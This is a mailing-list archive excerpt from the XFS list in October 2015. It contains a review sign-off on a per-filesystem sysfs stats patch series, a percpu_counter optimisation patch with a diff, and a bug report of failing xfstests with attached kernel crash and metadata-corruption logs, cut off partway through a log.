KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23120 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- For the series: Reviewed-by: Eric Sandeen I think we caught everything! ;) Thanks, -Eric On 10/2/15 11:22 AM, Bill O'Donnell wrote: > > Hello- > > Following is the next iteration of the series to add per-fs xfs stats to > sysfs. > > ----------history--------------- > v10: > -style fixups in patches 1,4,5,7 > > v9: > -adjust individual patch content, so that fixes actually correspond > to reviews accordingly. > > -fix xfs_btree.h XFS_BTREE_STATS_ADD macro error made in patch 7. > -fix xfs_stats.h macro style errors made in patch 7 > > > v8: (add patches 6 and 7) > -patch 6: per-filesystem stats in sysfs. > Implement per-filesystem stats objects in sysfs. Stats objects are > instantiated when an xfs filesystem is mounted and deleted on unmount. > With this patch, the stats directory is created and populated with > the familiar stats and stats_clear files. > Example: > /sys/fs/xfs/sda9/stats/stats > /sys/fs/xfs/sda9/stats/stats_clear > > With this patch, the individual counts within the new per-fs > stats file(s) remain at zero. Functions that use the the macros > to increment, decrement, and add-to the per-fs stats counts will > be covered in the next patch (7). > > -patch 7: per-filesystem stats counter implementation > Modify the stats counting macros and the callers > to those macros to properly increment, decrement, and add-to > the xfs stats counts. The counts for global and per-fs stats > are correctly advanced, and cleared by writing a "1" to the > corresponding clear file. > > global counts: /sys/fs/xfs/stats/stats > per-fs counts: /sys/fs/xfs/sda*/stats/stats > > global clear: /sys/fs/xfs/stats/stats_clear > per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear > > v7: > add patch 5/5: incorporate sysfs/kobject in xfsstats: handlers > take kobjects. Allocate & deallocate per-fs stats structures > and set up the sysfs entries for them. Add kobject and a pointer > to a per-cpu struct xfsstats. Modify the macros that manipulate > the stats accordingly. > > v6: > -move to_xlog(kobject) to the relevant show/store operations. > This keeps the xfs_sysfs_object_show/store functions generic. > Also, with the change, there can be some cleanup of the > show/store function arguments. > > v5: > -optimization of sysfs_ops function. > -style fixups > > v4: > -add patch 4 (sysfs ops consolidation - dbg, stats, log) > > v3: > -style fixups. > > v2: > -style fixups. > v1: > -------------------------------- > > We already have per-fs information in /sys, so it makes sense to > have per-fs stats there too. The series moves existing > global stats infrastructure to /sys and reuses that code to > create per-fs stats in /sys. > > Patch 1 handles the bring-up and tear down of xfs/stats directory > structure in sysfs when an fs is mounted. The directory contains > the stats file and the stats_clear file. The stats file contents mimic > those of /proc/fs/xfs/stat. The stats_clear file is empty, and much > like the current stat_clear command, handles the zeroing of the stats > file when a "1" is echoed to the stats_clear file. > > Patch 2 creates the symlink for stats from procfs to sysfs. > > Patch 3 removes the now unused portions of procfs for stat. > > Patch 4 consolidates the sysfs ops for dbg, stats, log. > > Patch 5 allocates and deallocates per-fs stats structures and > sets up the sysfs entries for them. Add kobject and a pointer > to a per-cpu struct xfsstats. Modify the macros that manipulate > > Patch 6 implements per-filesystem stats objects in sysfs. Stats > objects are instantiated when an xfs filesystem is mounted and > deleted on unmount. > > Patch 7 modifies the stats counting macros and the callers > to those macros to properly increment, decrement, and add-to > the xfs stats counts. The counts for global and per-fs stats > are correctly advanced, and cleared by writing a "1" to the > corresponding clear file. > > Once again, comments and questions are welcome. > > Thanks- > Bill > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From Waiman.Long@hpe.com Fri Oct 2 12:30:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C99017F54 for ; Fri, 2 Oct 2015 12:30:25 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B857AC026 for ; Fri, 2 Oct 2015 10:30:22 -0700 (PDT) X-ASG-Debug-ID: 1443807019-04cbb033b21d5b00001-NocioJ Received: from g1t6214.austin.hp.com (g1t6214.austin.hp.com [15.73.96.122]) by cuda.sgi.com with ESMTP id 17ixUAB7vDONYyok (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 10:30:20 -0700 (PDT) X-Barracuda-Envelope-From: Waiman.Long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.96.122 Received: from g1t6215.austin.hpicorp.net (g1t6215.austin.hpicorp.net [15.67.1.191]) by g1t6214.austin.hp.com (Postfix) with ESMTP id 9371AEA; Fri, 2 Oct 2015 17:30:19 +0000 (UTC) Received: from RHEL65.localdomain (unknown [16.214.215.76]) by g1t6215.austin.hpicorp.net (Postfix) with ESMTP id 92B2066; Fri, 2 Oct 2015 17:30:18 +0000 (UTC) From: Waiman Long To: Dave Chinner , Tejun Heo , Christoph Lameter Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch , Waiman Long Subject: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Date: Fri, 2 Oct 2015 13:29:57 -0400 X-ASG-Orig-Subj: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-Id: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> X-Mailer: git-send-email 1.7.1 X-Barracuda-Connect: g1t6214.austin.hp.com[15.73.96.122] X-Barracuda-Start-Time: 1443807020 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In __percpu_counter_compare(), if the current imprecise count is within (batch*nr_cpus) of the input value to be compared, a call to percpu_counter_sum() will be made to get the precise count. The percpu_counter_sum() call, however, can be expensive especially on large systems where there are a lot of CPUs. Large systems also make it more likely that percpu_counter_sum() will be called. The xfs_mod_fdblocks() function calls __percpu_counter_compare() twice. First to see if a smaller batch size should be used for __percpu_counter_add() and the second call to compare the actual size needed. This can potentially lead to 2 calls to the expensive percpu_counter_sum() function. This patch added an extra argument to __percpu_counter_compare() to return the precise count, if computed. The caller will need to initialize it to an invalid value that it can tell if the precise count is being returned. The xfs_mod_fdblocks() function was then modified to use the precise count for comparison, if returned. Otherwise, it will call __percpu_counter_compare() the second time. Running the AIM7 disk workload with XFS filesystem, the jobs/min on a 40-core 80-thread 4-socket Haswell-EX system increases from 3805k to 4276k (12% increase) with this patch applied. As measured by the perf tool, the %CPU cycle consumed by __percpu_counter_sum() decreases from 12.64% to 7.08%. Signed-off-by: Waiman Long --- fs/xfs/xfs_mount.c | 17 +++++++++++++---- include/linux/percpu_counter.h | 9 +++++---- lib/percpu_counter.c | 11 ++++++++++- 3 files changed, 28 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bf92e0c..8586b62 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -1115,7 +1115,7 @@ xfs_mod_icount( int64_t delta) { __percpu_counter_add(&mp->m_icount, delta, XFS_ICOUNT_BATCH); - if (__percpu_counter_compare(&mp->m_icount, 0, XFS_ICOUNT_BATCH) < 0) { + if (__percpu_counter_compare(&mp->m_icount, 0, XFS_ICOUNT_BATCH, NULL) < 0) { ASSERT(0); percpu_counter_add(&mp->m_icount, -delta); return -EINVAL; @@ -1154,6 +1154,7 @@ xfs_mod_fdblocks( int64_t lcounter; long long res_used; s32 batch; + s64 pcount; /* Precise count */ if (delta > 0) { /* @@ -1187,15 +1188,23 @@ xfs_mod_fdblocks( * then make everything serialise as we are real close to * ENOSPC. */ + pcount = -1; if (__percpu_counter_compare(&mp->m_fdblocks, 2 * XFS_FDBLOCKS_BATCH, - XFS_FDBLOCKS_BATCH) < 0) + XFS_FDBLOCKS_BATCH, &pcount) < 0) batch = 1; else batch = XFS_FDBLOCKS_BATCH; __percpu_counter_add(&mp->m_fdblocks, delta, batch); - if (__percpu_counter_compare(&mp->m_fdblocks, XFS_ALLOC_SET_ASIDE(mp), - XFS_FDBLOCKS_BATCH) >= 0) { + if (pcount >= 0) { + /* + * No need to call __percpu_counter_compare() again if the + * precise count has been computed. + */ + if (pcount + delta >= XFS_ALLOC_SET_ASIDE(mp)) + return 0; /* we have space */ + } else if (__percpu_counter_compare(&mp->m_fdblocks, + XFS_ALLOC_SET_ASIDE(mp), XFS_FDBLOCKS_BATCH, NULL) >= 0) { /* we had space! */ return 0; } diff --git a/include/linux/percpu_counter.h b/include/linux/percpu_counter.h index 84a1094..4690143 100644 --- a/include/linux/percpu_counter.h +++ b/include/linux/percpu_counter.h @@ -41,11 +41,12 @@ void percpu_counter_destroy(struct percpu_counter *fbc); void percpu_counter_set(struct percpu_counter *fbc, s64 amount); void __percpu_counter_add(struct percpu_counter *fbc, s64 amount, s32 batch); s64 __percpu_counter_sum(struct percpu_counter *fbc); -int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch); +int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch, + s64 *pcnt); static inline int percpu_counter_compare(struct percpu_counter *fbc, s64 rhs) { - return __percpu_counter_compare(fbc, rhs, percpu_counter_batch); + return __percpu_counter_compare(fbc, rhs, percpu_counter_batch, NULL); } static inline void percpu_counter_add(struct percpu_counter *fbc, s64 amount) @@ -121,8 +122,8 @@ static inline int percpu_counter_compare(struct percpu_counter *fbc, s64 rhs) return 0; } -static inline int -__percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch) +static inline int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, + s32 batch, s64 *pcnt)) { return percpu_counter_compare(fbc, rhs); } diff --git a/lib/percpu_counter.c b/lib/percpu_counter.c index f051d69..37e253c 100644 --- a/lib/percpu_counter.c +++ b/lib/percpu_counter.c @@ -196,8 +196,14 @@ static int percpu_counter_hotcpu_callback(struct notifier_block *nb, /* * Compare counter against given value. * Return 1 if greater, 0 if equal and -1 if less + * + * The precise count, if computed, will be returned in the location pointed + * to by pcnt. The *pcnt value should be properly initialized before calling + * this function so that the caller can easily distinguish if the count has + * been returned. */ -int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch) +int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch, + s64 *pcnt) { s64 count; @@ -211,6 +217,9 @@ int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, s32 batch) } /* Need to use precise count */ count = percpu_counter_sum(fbc); + + if (pcnt) + *pcnt = count; /* Store the precise count */ if (count > rhs) return 1; else if (count < rhs) -- 1.7.1 From ross.zwisler@linux.intel.com Fri Oct 2 12:49:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 83DDD7F55 for ; Fri, 2 Oct 2015 12:49:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 23B87AC02B for ; Fri, 2 Oct 2015 10:49:44 -0700 (PDT) X-ASG-Debug-ID: 1443808182-04bdf046261ba5e0001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id LNB7PL7Zr2DeKyKK for ; Fri, 02 Oct 2015 10:49:42 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by fmsmga102.fm.intel.com with ESMTP; 02 Oct 2015 10:49:42 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="2'?scan'208";a="818085034" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by fmsmga002.fm.intel.com with ESMTP; 02 Oct 2015 10:49:43 -0700 Date: Fri, 2 Oct 2015 11:49:41 -0600 From: Ross Zwisler To: Dave Chinner , xfs@oss.sgi.com Subject: two failing xfstests using xfs (no DAX) Message-ID: <20151002174941.GA25082@linux.intel.com> X-ASG-Orig-Subj: two failing xfstests using xfs (no DAX) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="x+6KMIRAuhnl3hBn" Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1443808182 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Recently I've been trying to get a stable baseline for my DAX testing using various filesystems, and in doing so I noticed a pair of tests that were behaving badly when run on XFS without DAX. These test failures happen in both v4.2 and v4.3-rc3, though the signatures may vary a bit. My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel config to this mail. The first test failure is generic/299, which consistently deadlocks in the XFS code in both v4.2 and v4.3-rc3. The stack traces presented in dmesg via "echo w > /proc/sysrq-trigger" are consistent between these two kernel versions, and can be found in the "generic_299.deadlock" attachment. The second test failure is xfs/083, which in v4.2 seems to fail with an XFS assertion (I have XFS_DEBUG turned on): XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 168 In v4.3, though, this same test seems to create some random memory corruption in XFS. I've hit at least two failure signatures that look nothing alike except they both look like somebody corrupted memory. I've attached logs of all three of these failures to this mail. Because of all the attachments I decided not to spam the fsdevel or linux-kernel mailing lists - please let me know if this was correct, or if there is a better way of sending along logs with bug reports. Thanks, - Ross --x+6KMIRAuhnl3hBn Content-Type: application/x-troff-man Content-Disposition: attachment; filename="xfs_083_v4.2" Content-Transfer-Encoding: quoted-printable [ 61.646296] run fstests xfs/083 at 2015-10-02 11:18:43=0A[ 61.788054] = XFS (pmem0p2): Unmounting Filesystem=0A[ 61.806414] XFS (pmem0p2): Mounti= ng V4 Filesystem=0A[ 61.807365] XFS (pmem0p2): Ending clean mount=0A[ 9= 6.039579] XFS (pmem0p2): Unmounting Filesystem=0A[ 96.050021] XFS (pmem0p= 2): Mounting V4 Filesystem=0A[ 96.051525] XFS (pmem0p2): Ending clean mou= nt=0A[ 96.091192] XFS (pmem0p2): Unmounting Filesystem=0A[ 96.195197] X= FS (pmem0p2): Mounting V4 Filesystem=0A[ 96.195969] XFS (pmem0p2): Ending= clean mount=0A[ 96.221388] XFS: Assertion failed: fs_is_ok, file: fs/xfs= /libxfs/xfs_dir2_data.c, line: 168=0A[ 96.221403] ------------[ cut here = ]------------=0A[ 96.221405] kernel BUG at fs/xfs/xfs_message.c:106!=0A[ = 96.221406] invalid opcode: 0000 [#1] SMP =0A[ 96.221407] Modules linked= in: nd_pmem nd_btt=0A[ 96.221410] CPU: 2 PID: 430 Comm: kworker/2:2 Not = tainted 4.2.0 #4=0A[ 96.221411] Hardware name: QEMU Standard PC (i440FX += PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014=0A[ 96.221416] Workq= ueue: xfs-buf/pmem0p2 xfs_buf_ioend_work=0A[ 96.221417] task: ffff88040e1= 80000 ti: ffff88040d020000 task.ti: ffff88040d020000=0A[ 96.221418] RIP: = 0010:[] [] assfail+0x20/0x30=0A[ 96.= 221421] RSP: 0018:ffff88040d023ce8 EFLAGS: 00010246=0A[ 96.221421] RAX: = 0000000000000000 RBX: ffff88040fb8a000 RCX: 000000000000004f=0A[ 96.22142= 2] RDX: 0000000000000000 RSI: ffff88043fc8ec98 RDI: ffff88043fc8ec98=0A[ = 96.221423] RBP: ffff88040d023ce8 R08: 000000000000000a R09: 000000000000fff= e=0A[ 96.221424] R10: 00000000000002c4 R11: 0000000000000006 R12: ffff880= 1fb951000=0A[ 96.221425] R13: 0000000000000000 R14: ffff8801fb951004 R15:= ffff8801fb9513a0=0A[ 96.221426] FS: 0000000000000000(0000) GS:ffff88043= fc80000(0000) knlGS:0000000000000000=0A[ 96.221427] CS: 0010 DS: 0000 ES= : 0000 CR0: 0000000080050033=0A[ 96.221428] CR2: 0000000000926108 CR3: 00= 0000040e2c3000 CR4: 00000000000406e0=0A[ 96.221430] Stack:=0A[ 96.22143= 1] ffff88040d023d78 ffffffff813e33d1 0000000000000370 ffffffff81a4c5c0=0A[= 96.221433] 0000000700000013 0000000000000000 ffff8801fb952000 ffff88041= 0e93960=0A[ 96.221434] ffff88040d023d58 ffff8800af460d40 ffff88043fc96f8= 0 00000000875e94dd=0A[ 96.221436] Call Trace:=0A[ 96.221440] [] __xfs_dir3_data_check+0x4b1/0x6e0=0A[ 96.221442] [] ? xfs_buf_ioend_work+0x15/0x20=0A[ 96.221444] [] xfs_dir3_data_verify+0x73/0x80=0A[ 96.221446] [] = xfs_dir3_data_reada_verify+0x77/0x80=0A[ 96.221447] []= xfs_buf_ioend+0x85/0x140=0A[ 96.221448] [] xfs_buf_io= end_work+0x15/0x20=0A[ 96.221451] [] process_one_work+= 0x14b/0x3d0=0A[ 96.221453] [] worker_thread+0x4e/0x450= =0A[ 96.221455] [] ? rescuer_thread+0x2f0/0x2f0=0A[ = 96.221456] [] ? rescuer_thread+0x2f0/0x2f0=0A[ 96.2214= 58] [] kthread+0xd8/0xf0=0A[ 96.221459] [] ? kthread_create_on_node+0x1a0/0x1a0=0A[ 96.221463] [] ret_from_fork+0x3f/0x70=0A[ 96.221464] [] ? k= thread_create_on_node+0x1a0/0x1a0=0A[ 96.221465] Code: 66 66 2e 0f 1f 84 = 00 00 00 00 00 66 66 66 66 90 55 48 89 f1 41 89 d0 48 c7 c6 70 37 d0 81 48 = 89 fa 31 ff 48 89 e5 e8 c0 fa ff ff <0f> 0b 66 66 66 66 66 2e 0f 1f 84 00 0= 0 00 00 00 66 66 66 66 90 =0A[ 96.221480] RIP [] assfa= il+0x20/0x30=0A[ 96.221482] RSP =0A[ 96.221483] ---[= end trace 2fb10e14adb739fa ]---=0A[ 96.221501] BUG: unable to handle ker= nel paging request at ffffffffffffffd8=0A[ 96.221502] IP: [] kthread_data+0x10/0x20=0A[ 96.221504] PGD 200f067 PUD 2011067 PMD 0= =0A[ 96.221505] Oops: 0000 [#2] SMP =0A[ 96.221506] Modules linked in:= nd_pmem nd_btt=0A[ 96.221508] CPU: 2 PID: 430 Comm: kworker/2:2 Tainted:= G D 4.2.0 #4=0A[ 96.221509] Hardware name: QEMU Standard PC= (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153950- 04/01/2014=0A[ 96.221= 514] task: ffff88040e180000 ti: ffff88040d020000 task.ti: ffff88040d020000= =0A[ 96.221515] RIP: 0010:[] [] kthr= ead_data+0x10/0x20=0A[ 96.221517] RSP: 0018:ffff88040d023968 EFLAGS: 000= 10096=0A[ 96.221518] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 000= 0000000000006=0A[ 96.221519] RDX: 0000000000000006 RSI: 0000000000000002 = RDI: ffff88040e180000=0A[ 96.221520] RBP: ffff88040d023968 R08: ffff88040= e180090 R09: 0000000000000280=0A[ 96.221522] R10: ffff88043fc9be00 R11: f= fffea0002ebc580 R12: 0000000000016f80=0A[ 96.221523] R13: ffff88040e18000= 0 R14: 0000000000000002 R15: 0000000000000000=0A[ 96.221525] FS: 0000000= 000000000(0000) GS:ffff88043fc80000(0000) knlGS:0000000000000000=0A[ 96.2= 21526] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033=0A[ 96.221527] C= R2: 0000000000000028 CR3: 000000040e2c3000 CR4: 00000000000406e0=0A[ 96.2= 21528] Stack:=0A[ 96.221529] ffff88040d023988 ffffffff810b6cb5 ffff88040= d023988 ffff88043fc96f80=0A[ 96.221531] ffff88040d0239d8 ffffffff819673e= 4 ffff8800baf16680 ffff88040e180000=0A[ 96.221533] ffff88040d0239d8 ffff= 88040d024000 ffff88040d023a30 ffff88040d023a30=0A[ 96.221535] Call Trace:= =0A[ 96.221537] [] wq_worker_sleeping+0x15/0xa0=0A[ = 96.221538] [] __schedule+0x6d4/0x8c0=0A[ 96.221540] [= ] schedule+0x37/0x80=0A[ 96.221542] [] do_exit+0x721/0xa10=0A[ 96.221544] [] oops_end+0x9e= /0xd0=0A[ 96.221546] [] die+0x4b/0x70=0A[ 96.221548]= [] do_trap+0x139/0x140=0A[ 96.221550] [] do_error_trap+0xa8/0x170=0A[ 96.221552] [] ? as= sfail+0x20/0x30=0A[ 96.221553] [] do_invalid_op+0x20/0= x30=0A[ 96.221554] [] invalid_op+0x1e/0x30=0A[ 96.22= 1556] [] ? assfail+0x20/0x30=0A[ 96.221557] [] ? assfail+0x20/0x30=0A[ 96.221559] [] __xf= s_dir3_data_check+0x4b1/0x6e0=0A[ 96.221560] [] ? xfs_= buf_ioend_work+0x15/0x20=0A[ 96.221562] [] xfs_dir3_da= ta_verify+0x73/0x80=0A[ 96.221563] [] xfs_dir3_data_re= ada_verify+0x77/0x80=0A[ 96.221565] [] xfs_buf_ioend+0= x85/0x140=0A[ 96.221566] [] xfs_buf_ioend_work+0x15/0x= 20=0A[ 96.221568] [] process_one_work+0x14b/0x3d0=0A[ = 96.221569] [] worker_thread+0x4e/0x450=0A[ 96.221571= ] [] ? rescuer_thread+0x2f0/0x2f0=0A[ 96.221572] [] ? rescuer_thread+0x2f0/0x2f0=0A[ 96.221573] [] kthread+0xd8/0xf0=0A[ 96.221574] [] ? kthrea= d_create_on_node+0x1a0/0x1a0=0A[ 96.221576] [] ret_fro= m_fork+0x3f/0x70=0A[ 96.221577] [] ? kthread_create_on= _node+0x1a0/0x1a0=0A[ 96.221578] Code: c4 08 44 89 e8 5b 41 5c 41 5d 5d c= 3 4c 89 e7 e8 67 f4 fd ff eb 88 0f 1f 44 00 00 66 66 66 66 90 48 8b 87 28 0= 4 00 00 55 48 89 e5 <48> 8b 40 d8 5d c3 66 2e 0f 1f 84 00 00 00 00 00 66 66= 66 66 90 =0A[ 96.221593] RIP [] kthread_data+0x10/0x2= 0=0A[ 96.221594] RSP =0A[ 96.221595] CR2: ffffffffff= ffffd8=0A[ 96.221596] ---[ end trace 2fb10e14adb739fb ]---=0A[ 96.22159= 7] Fixing recursive fault but reboot is needed!=0A[ 156.232007] INFO: rcu_= sched detected stalls on CPUs/tasks:=0A[ 156.232013] 2: (0 ticks this GP)= idle=3D595/140000000000000/0 softirq=3D7861/7861 fqs=3D249 =0A[ 156.23201= 4] (detected by 5, t=3D60011 jiffies, g=3D10668, c=3D10667, q=3D0)=0A[ 15= 6.232016] Task dump for CPU 2:=0A[ 156.232017] kworker/2:2 D ffff88040= e56cc00 0 430 0 0x00000080=0A[ 156.232025] ffff88043fc96780 00= 00000000000080 ffff88040d023df8 ffffffff81404025=0A[ 156.232027] ffff8804= 0d023e48 ffffffff810b626b ffff88043fc96780 00ff880400000000=0A[ 156.232029= ] 0000000000000008 ffff88040e56cc00 ffff88040e56cc30 ffff88043fc96780=0A[ = 156.232030] Call Trace:=0A[ 156.232036] [] ? xfs_buf_i= oend_work+0x15/0x20=0A[ 156.232039] [] ? process_one_wo= rk+0x14b/0x3d0=0A[ 156.232041] [] ? worker_thread+0x4e/= 0x450=0A[ 156.232043] [] ? rescuer_thread+0x2f0/0x2f0= =0A[ 156.232044] [] ? rescuer_thread+0x2f0/0x2f0=0A[ 1= 56.232046] [] ? kthread+0xd8/0xf0=0A[ 156.232047] [] ? kthread_create_on_node+0x1a0/0x1a0=0A[ 156.232051] [] ? ret_from_fork+0x3f/0x70=0A[ 156.232052] [] ? kthread_create_on_node+0x1a0/0x1a0=0A[ 156.232053] rcu_sched kth= read starved for 59232 jiffies! g10668 c10667 f0x0=0A --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xfs_083_v4.3-rc3" [ 53.636917] run fstests xfs/083 at 2015-10-02 11:24:09 [ 53.760098] XFS (pmem0p2): Unmounting Filesystem [ 53.779642] XFS (pmem0p2): Mounting V4 Filesystem [ 53.780606] XFS (pmem0p2): Ending clean mount [ 87.506686] XFS (pmem0p2): Unmounting Filesystem [ 87.516433] XFS (pmem0p2): Mounting V4 Filesystem [ 87.519162] XFS (pmem0p2): Ending clean mount [ 87.555099] XFS (pmem0p2): Unmounting Filesystem [ 87.657682] XFS (pmem0p2): Mounting V4 Filesystem [ 87.658598] XFS (pmem0p2): Ending clean mount [ 87.669743] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669745] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669746] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669748] ffff8801f9b21000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669749] ffff8801f9b21010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669750] ffff8801f9b21020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669751] ffff8801f9b21030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669752] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669754] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669756] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669764] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669765] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669766] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669767] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669768] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669769] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669769] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669770] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669772] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669773] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669810] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669811] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669812] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669813] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669814] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669815] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669816] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669817] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669818] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669819] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669864] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669865] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669866] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669867] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669867] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669868] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669869] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669877] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669878] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669880] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669888] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669889] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669890] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669891] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 